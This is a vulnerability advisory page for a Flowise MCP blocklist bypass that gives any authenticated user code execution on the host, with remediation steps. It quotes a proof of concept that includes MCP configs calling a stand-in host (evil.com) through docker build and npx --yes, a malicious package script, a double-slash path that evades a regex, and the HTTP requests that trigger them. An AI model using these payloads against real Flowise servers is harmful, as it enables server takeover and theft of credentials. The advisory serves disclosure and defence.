GHSA-m99r-2hxc-cp3q: Flowise MCP: 3-path blocklist bypass enables server RCE

GHSA-m99r-2hxc-cp3q HIGH
Published May 14, 2026
CISO Take

Flowise's MCP tool relies on a blocklist to prevent dangerous command execution, but three independent bypass paths — docker build omitted from the docker blocklist, --yes long-form alias missing from the npx blocklist, and a regex flaw (//path bypasses the /path Unix path detector) — give any authenticated user arbitrary code execution on the Flowise host. The attack requires nothing more than a standard Flowise account or an API key with chatflow update permissions, meaning the blast radius is proportional to your user base: any compromised credential becomes a server takeover vector. With full proof-of-concept steps publicly documented in the GitHub advisory, exploitation is trivial and pre-weaponized; 69 prior CVEs in the flowise package signal a recurring pattern of security debt in this codebase. Upgrade flowise and flowise-components to 3.1.2 immediately; if patching is delayed, restrict the Custom MCP Server node to admin-only roles and audit all chatflow configurations for suspicious docker, npx, or node command entries.

Sources: GitHub Advisory ATLAS

What is the risk?

HIGH. The blocklist approach is architecturally unsound — all three bypasses require only basic awareness of what is on the list, making exploitation trivial for any attacker with Flowise access. Privilege requirement is minimal (any authenticated role), the attack vector is the network-accessible prediction API, and the impact is full server compromise. Privileged Docker deployments face an additional container escape risk via docker build host-mount techniques. The absence of EPSS data and KEV listing reflects how recently this was disclosed, not low risk — the public PoC dramatically compresses the window between disclosure and exploitation.

Attack Kill Chain

Initial Access
Attacker authenticates to Flowise with any valid account (any role) or obtains an API key with chatflow view and update permissions — no admin privileges required.
AML.T0012
Configuration Injection
Attacker creates or modifies a chatflow to add a Custom MCP Server node containing a malicious command (docker build to attacker URL, npx --yes with malicious package, or node with //double-slash path) that passes incomplete blocklist validation.
AML.T0081
Command Execution
Attacker triggers the chatflow via POST /api/v1/prediction/{id} with any payload, causing Flowise to invoke the injected OS command and execute attacker-controlled code fetched from a remote source.
AML.T0050
Full Compromise
Attacker achieves persistent RCE on the Flowise host, exfiltrating all stored API keys and credentials; in privileged Docker deployments, escalates further to full host machine control via container escape.
AML.T0105

What systems are affected?

Package Ecosystem Vulnerable Range Patched
flowise npm <= 3.1.1 3.1.2
flowise-components npm <= 3.1.1 3.1.2

Severity & Risk

CVSS 3.1
N/A
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

What should I do?

7 steps
  1. Patch immediately: upgrade flowise and flowise-components to 3.1.2.

  2. Audit all existing chatflow configurations for malicious MCP server entries containing docker build, npx --yes, or node with double-slash paths (e.g., //root/...).

  3. If patching is delayed, disable or restrict the Custom MCP Server node to admin-only roles via Flowise RBAC settings.

  4. Enforce network egress filtering on the Flowise host to block unexpected outbound HTTP(S) connections initiated by docker or npx processes.

  5. Ensure the Flowise Docker container does NOT run with --privileged flag or host volume mounts to limit container escape impact.

  6. Rotate all API keys and credentials stored in Flowise environment variables if unauthorized access is suspected.

  7. Monitor host process trees for unexpected docker build, npx, or node child processes spawned from the Flowise process.

Classification

Compliance Impact

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.6.2.5 - AI system input validation and sanitization
NIST AI RMF
MANAGE-2.2 - Mechanisms to sustain the value of deployed AI are evaluated and applied
OWASP LLM Top 10
LLM07 - Insecure Plugin Design LLM08 - Excessive Agency

Frequently Asked Questions

What is GHSA-m99r-2hxc-cp3q?

Flowise's MCP tool relies on a blocklist to prevent dangerous command execution, but three independent bypass paths — docker build omitted from the docker blocklist, --yes long-form alias missing from the npx blocklist, and a regex flaw (//path bypasses the /path Unix path detector) — give any authenticated user arbitrary code execution on the Flowise host. The attack requires nothing more than a standard Flowise account or an API key with chatflow update permissions, meaning the blast radius is proportional to your user base: any compromised credential becomes a server takeover vector. With full proof-of-concept steps publicly documented in the GitHub advisory, exploitation is trivial and pre-weaponized; 69 prior CVEs in the flowise package signal a recurring pattern of security debt in this codebase. Upgrade flowise and flowise-components to 3.1.2 immediately; if patching is delayed, restrict the Custom MCP Server node to admin-only roles and audit all chatflow configurations for suspicious docker, npx, or node command entries.

Is GHSA-m99r-2hxc-cp3q actively exploited?

No confirmed active exploitation of GHSA-m99r-2hxc-cp3q has been reported, but organizations should still patch proactively.

How to fix GHSA-m99r-2hxc-cp3q?

1. Patch immediately: upgrade flowise and flowise-components to 3.1.2. 2. Audit all existing chatflow configurations for malicious MCP server entries containing docker build, npx --yes, or node with double-slash paths (e.g., //root/...). 3. If patching is delayed, disable or restrict the Custom MCP Server node to admin-only roles via Flowise RBAC settings. 4. Enforce network egress filtering on the Flowise host to block unexpected outbound HTTP(S) connections initiated by docker or npx processes. 5. Ensure the Flowise Docker container does NOT run with --privileged flag or host volume mounts to limit container escape impact. 6. Rotate all API keys and credentials stored in Flowise environment variables if unauthorized access is suspected. 7. Monitor host process trees for unexpected docker build, npx, or node child processes spawned from the Flowise process.

What systems are affected by GHSA-m99r-2hxc-cp3q?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, AI orchestration platforms, LLM workflow automation, RAG pipelines, multi-agent systems.

What is the CVSS score for GHSA-m99r-2hxc-cp3q?

No CVSS score has been assigned yet.

Technical Details

NVD Description

## Summary There are three bypass methods for the security limitations of the Flowise MCP feature, and attackers can execute arbitrary commands by combining these three methods ## Details ### The Docker build subcommand not being on the blocklist leads to remote code execution The attacker configures the interface through the MCP tool to provide {"command":"docker","args":["build","https://evil.com/"]} as the Custom MCP Server configuration → Bypass the validateCommandFlags docker blocklist (only blocks run/exec/-v/--volume, etc., but does not block build) → docker build <remote-URL> will pull the Dockerfile from the remote address and execute the RUN instructions within it → Allows attackers to escape from Docker through methods such as mounting, thereby gaining full control of the Flowise host machine Precondition: 1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows 2. The deployment environment has the docker command Vulnerable function - validateCommandFlags: ``` file: packages/components/nodes/tools/MCP/core.ts:260-310 const COMMAND_FLAG_BLACKLIST: Record<string, string[]> = { docker: [ 'run', 'exec', '-v', '--volume', '--privileged', '--cap-add', '--security-opt', '--network', '--pid', '--ipc' // 'build', 'pull', 'push', 'cp', 'commit' are not on the blocklist ], npx: ['-c', '--call', '--shell-auto-fallback', '-y'], npm: ['run', 'exec', 'install', '--prefix', '-g', '--global', 'publish', 'adduser', 'login'], // ... } export function validateCommandFlags(command: string, args: string[]): ValidationResult { const blacklist = COMMAND_FLAG_BLACKLIST[command] || [] for (const arg of args) { if (blacklist.includes(arg)) { return { valid: false, error: `Argument '${arg}' is not allowed for command '${command}'` } } } return { valid: true } } ``` Reproduction process: Add MCP config via UI or API interface, for example: <img width="1280" height="414" alt="2f0b6dfad5458616781921e1c28339d0" src="https://github.com/user-attachments/assets/6c8419c5-6261-46bb-8a30-3ac1ec3fb599" /> Then execute: ``` POST /api/v1/prediction/{chatflows_id} HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Authorization: Bearer apikey Content-Length: 17 {"question": "1"} ``` After execution, the command can be triggered to execute docker build http://evil.com <img width="1280" height="319" alt="f98e1d91428be6077ac6cf0472285f17" src="https://github.com/user-attachments/assets/856d46b4-7949-4091-bed9-a7c3fecc62f0" /> If a privileged container is deployed, then it can fully control the Flowise host machine ### npx --yes long parameter alias bypassing blocklist leads to remote code execution The attacker configures the MCP tool to provide {"command":"npx","args":["--yes","malicious-package"]} → validateCommandFlags npx blocklist only contains short parameter -y, and does not block long parameter alias --yes → npx --yes malicious-package automatically agrees to install and execute any npm package → Leads to remote code execution (RCE) on the server Precondition: 1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows 2. The deployment environment has the npx command npx blocklist: ``` file: packages/components/nodes/tools/MCP/core.ts:270-280 npx: ['-c', '--call', '--shell-auto-fallback', '-y'], // Only the short parameter -y is present, without the long parameter alias --yes ``` Reproduction process: Add MCP config via UI or API interface, for example: <img width="1910" height="690" alt="85ea14ea224df9ed501827dfa47afb09" src="https://github.com/user-attachments/assets/8f3a2299-5460-4d23-b113-79ba4a9e52b6" /> ``` { "command": "npx", "args":["--yes", "http://evil.com/FileName.tar"] } ``` Contents of the tar file: ``` // index.js #!/usr/bin/env node const http = require('http'); const { execSync } = require('child_process'); const result = execSync('id && hostname').toString().trim(); console.error('[MCP-RCE-002] npx --yes bypass: ' + result); // package.json { "name": "attacker-mcp-pkg", "version": "1.0.0", "bin": { "attacker-mcp-pkg": "./index.js" }, "scripts": { "postinstall": "" } } ``` Then execute: ``` POST /api/v1/prediction/{chatflows_id} HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Authorization: Bearer apikey Content-Length: 17 {"question": "1"} ``` can trigger the vulnerability, execute the attacker's commands, and achieve RCE: <img width="3026" height="256" alt="4c466067deb4606a38e4b73806661328" src="https://github.com/user-attachments/assets/e9821e3f-bda4-4c6a-bcd1-0b19053045c9" /> ### node command bypassing local file restrictions leads to remote code execution When configuring the CustomMCP node, the attacker provides {"command":"node","args":["local file"]} → Bypass the security restrictions of validateArgsForLocalFileAccess → Node process loads local files and executes arbitrary code → RCE Precondition: Have a Flowise account Analysis of Vulnerable Code: ``` // packages/components/nodes/tools/MCP/core.ts:177-220 export const validateArgsForLocalFileAccess = (args: string[]): void => { const dangerousPatterns = [ // Absolute paths /^\/[^/]/, // Unix absolute paths starting with / /^[a-zA-Z]:\\/, // Windows absolute paths like C:\ // Relative paths that could escape current directory /\.\.\//, // Parent directory traversal with ../ /\.\.\\/, // Parent directory traversal with ..\ /^\.\./, // Starting with .. // Local file access patterns /^\.\//, // Current directory with ./ /^~\//, // Home directory with ~/ /^file:\/\//, // File protocol // Common file extensions that shouldn't be accessed /\.(exe|bat|cmd|sh|ps1|vbs|scr|com|pif|dll|sys)$/i, // File flags and options that could access local files /^--?(?:file|input|output|config|load|save|import|export|read|write)=/i, /^--?(?:file|input|output|config|load|save|import|export|read|write)$/i ] ``` The above are the main restrictions imposed by the validateArgsForLocalFileAccess function, and it can be found that the regular expression "/^\/[^/]/" has a matching issue As the comment says, this regular expression essentially detects whether it is a Unix absolute path, which matches /etc/passwd but does not match //etc/passwd (the second character is '/') <img width="1280" height="570" alt="ea354264cbb2ace6a3a6a16e00f1d298" src="https://github.com/user-attachments/assets/9ca88790-77ea-4d42-8910-09e4453f981a" /> Therefore, the limitation of this function can be bypassed by starting with // ** Reproduction process: ** Create a new chatflow as follows: <img width="1280" height="716" alt="7e884613b5897509b39467f8f3b7aae1" src="https://github.com/user-attachments/assets/478c7a89-4e77-4a5d-b063-de16cb640f92" /> After saving, cmd.js will be uploaded to the ~/.flowise/storage/{orgId}/{chatflow_id}/ directory orgId can be obtained during login, and chatflow_id will also be returned when saving chatflow: <img width="1280" height="702" alt="48b5ab8412babba312f502be5db1dad3" src="https://github.com/user-attachments/assets/090292cf-6361-43cd-91d7-eec6e578255b" /> For example: ``` ~/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js ``` Since paths like ~/ are restricted, and an absolute path needs to be obtained, use the following method: <img width="1280" height="716" alt="990e1c81ed3957c5ae823e55efec15a5" src="https://github.com/user-attachments/assets/02c2a949-559a-4ee4-9675-c50a203d1e99" /> ``` POST /api/v1/export-import/import HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json x-request-from: internal Cookie: cookie Connection: keep-alive Content-Length: 479 { "ChatMessage": [ { "id": "11111111-2222-4333-8444-555555555555", "role": "userMessage", "chatflowid": "{chatflow_id}", "content": "seed for home path test", "chatType": "EXTERNAL", "chatId": "audit-home-001", "createdDate": "2026-03-04T06:40:00.000Z", "fileUploads": "[{\"type\":\"stored-file\",\"name\":\"poc.txt\",\"mime\":\"text/plain\"}]" } ] } ``` <img width="1280" height="748" alt="d7f947940f4e6b6e95a61bcc301c25c0" src="https://github.com/user-attachments/assets/482fb78c-dbc8-4a0d-a042-4c993e976f10" /> ``` POST /api/v1/export-import/chatflow-messages HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json x-request-from: internal Cookie: cookie Connection: keep-alive Content-Length: 57 {"chatflowId":"{chatflow_id}"} ``` After obtaining the absolute path, simply modify the path in args to the path of the file name: ``` { "command": "node", "args": ["//root/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js"] } ``` After saving, execution will trigger RCE ``` POST /api/v1/prediction/{chatflows_id} HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Authorization: Bearer apikey Content-Length: 17 {"question": "1"} ``` ## Impact This vulnerability allows attackers to execute arbitrary commands on the Flowise server .

Exploitation Scenario

An attacker registers a standard Flowise user account (or obtains a leaked API key from a misconfigured deployment). They open the chatflow builder and add a Custom MCP Server node configured as {"command":"docker","args":["build","https://attacker.com/"]}. The configuration passes all validation checks because docker is on the allowed command list and build is absent from the docker subcommand blocklist. The attacker saves the chatflow, then issues POST /api/v1/prediction/{chatflow_id} with a trivial payload. Flowise invokes docker build against the attacker's URL, which serves a Dockerfile containing RUN instructions that exfiltrate all environment variables — including stored LLM API keys and database credentials — to the attacker's server. In a second stage, if the container runs with elevated privileges, the attacker's Dockerfile mounts the host filesystem and installs a persistent backdoor, achieving full host compromise in under five minutes from initial access.

Timeline

Published
May 14, 2026
Last Modified
May 14, 2026
First Seen
May 14, 2026

Related Vulnerabilities